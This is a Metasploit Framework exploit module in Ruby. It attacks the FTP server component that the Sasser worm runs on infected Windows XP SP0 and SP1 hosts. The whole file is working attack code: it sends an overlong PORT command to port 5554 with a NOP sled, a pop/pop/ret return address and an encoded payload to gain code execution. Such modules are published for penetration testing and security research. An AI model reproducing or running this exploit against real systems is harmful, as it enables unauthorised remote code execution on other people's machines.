##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/ 
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,	
			'Name'		=> 'Sasser Worm avserve FTP PORT Buffer Overflow',
			'Description'	=> %q{
				This module exploits the FTP server component of the Sasser worm.
				By sending an overly long PORT command the stack can be overwritten.
			},
			'Author'	=> [ 'valsmith [at] metasploit.com>', 'chamuco [at] gmail.com>', 'patrick' ],
			'Arch'		=> [ ARCH_X86 ],
			'License'	=> MSF_LICENSE,
			'Version'	=> '$Revision$',
			'References'	=>
				[
					[ 'OSVDB', '6197'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Platform' 	=> ['win'],
			'Privileged'	=> false,
			'Payload'	=>
				{
					'Space'			=> 480,
					'BadChars'		=> "\x00~+&=%\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
					'StackAdjustment'	=> -3500,
				},
			'Targets' 	=>
			[
				[ 'Windows XP SP0', { 'Ret' => 0x71aa32ad } ], #p/p/r ws2help.dll
				[ 'Windows XP SP1', { 'Ret' => 0x77e7633a } ], #p/p/r
			],
			'DisclosureDate' => 'May 10 2004',
			'DefaultTarget' => 1))

			register_options(
			[
				Opt::RPORT(5554),
			], self.class)
	end

	def exploit
		connect

		print_status("Trying target #{target.name}...")

		sploit = make_nops(267) + Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target['Ret']].pack('V')
		sploit << Rex::Arch::X86.jmp(0xfffffc13) + make_nops(15) + payload.encoded + make_nops(1530)

		send_cmd( ['PORT', sploit] , false)

		handler
		disconnect
	end

end